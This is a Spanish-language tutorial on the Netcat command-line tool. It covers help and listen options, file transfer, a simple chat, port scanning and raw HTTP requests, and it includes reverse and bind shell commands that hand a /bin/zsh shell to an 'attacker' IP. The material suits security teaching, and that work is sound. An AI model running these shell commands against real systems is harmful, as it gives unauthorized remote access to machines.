Page cover image

Netcat

Herramienta de línea de comandos.

¿Qué es Netcat?

Es una utilidad que lee y escribe datos a través de conexiones de red, utilizando el protocolo TCP y UDP.

¿Cómo funciona?

Crea una conexión TCP hacia un puerto y host objetivo definido. La entrada estándar es enviada al host, y todo lo devuelto desde el host a través de la conexión es enviada hacia la salida estándar.

¿Qué otras funciones cumple?

Es una herramienta de depuración y exploración de redes, ya que puede crear casi cualquier tipo de conexión requerida. También puede funcionar como un servidor, atendiendo conexiones entrantes sobre puertos arbitrarios y realizando las mismas escrituras y lecturas.

Comandos

  1. nc -h

Abre un menú de ayuda.

Menú ayuda
  1. -n -v

Establece una conexión con un puerto. La -v sirve para generar mayor verbosidad.

El puerto 80 está abierto
  1. -n -v -l -p

Colocar a netcat en modo escucha:

  • -l significa listen.

  • -p es el número de puerto a escuchar.

Escuchando en el puerto indicado

Reverse Shell

Una Shell inversa es la manera que comúnmente se utiliza para acceder a un objetivo. Para ello es necesario abrir dos consolas y seguir algunos pasos:

  1. En una terminal, indicar el puerto en el que se va a realizar la escucha.

nc -n - v -l -p 1234 
  1. En la segunda terminal, ejecutar el siguiente comando (la IP atacante es 10.0.2.15)

nc 10.0.2.15 1234 -e /bin/zsh
  1. Una vez que aparece el mensaje de conexión, la Shell inversa ha sido exitosa.

Mensaje de éxito
Se puede acceder a los directorios

Bind Shell

Es un proceso inverso al de la Shell reversa. En este tipo de conexiones, el objetivo va a estar a la escucha, mientras que el atacante va a generar la conexión.

  1. Primero, poner a la escucha al objetivo.

nc -lvnp 1234 -e /bin/zsh
  1. Luego, generar la Shell en la PC atacante.

nc 10.10.2.12 1234
Bind Shell

Upgrading Shell

Existe una manera de hacer más interactiva la Shell.

  1. Hacer una reverse Shell.

Reverse Shell
  1. Con Python, se puede lograr mejorar la interface.

Ahora la interface es más intuitiva

Transferir un archivo

Se puede trasferir un archivo con netcat. El procedimiento es bastante parecido a crear una Shell.

  1. En la máquina objetivo escribir el siguiente comando para poner netcat a la escucha.

nc -l -p 8080 > /home/kali/Desktop/archivo.txt
  • Se crea una ruta para redirigir el output del archivo que será enviado desde la otra PC.

  1. En la máquina principal, crear un archivo o utilizar un archivo ya creado.

echo 'contenido del archivo para enviar' > archivo.txt
  1. Redirigir el archivo.

nc -w3 [IP de la máquina objetivo] 8080 < archivo.txt
  • El flag -w3 es un temporizador de conexiones. En este caso, el símbolo > significa que se está realizando un input.

Transferir varios archivos

También se pueden transferir varios archivos a la vez, el procedimiento es el mismo, solo que se deben comprimir estos archivos en un ZIP.

Chat server

Con Netcat, se puede crear un chat que permita la comunicación entre dos equipos.

  • En la máquina del usuario, se pone a escuchar en un puerto determinado.

nc -l -p 8080
  • En la PC del objetivo, se genera una conexión con la máquina principal.

nc.exe [dirección IP] 8080

Con estos comandos es posible escribir texto en la máquina del objetivo, que llegue sin problemas a la máquina principal y viceversa.

Port scanner

Similar a Nmap, con netcat es posible realizar un escaneo de puertos.

  • Se escribe el siguiente comando.

nc.exe -v -n [IP del objetivo] [rango de puertos]

El resultado de este escaneo, es similar al de nmap, donde brindara los puertos que estén abiertos con una pequeña descripción de los mismos.

Peticiones web

Se pueden realizar peticiones web, manejando el head del request.

printf "GET / HTTP/1.0\r\n\r\n" | nc -v ifconfig.com 80
El resultado completo no se puede visualizar por cuestiones de seguridad

Last updated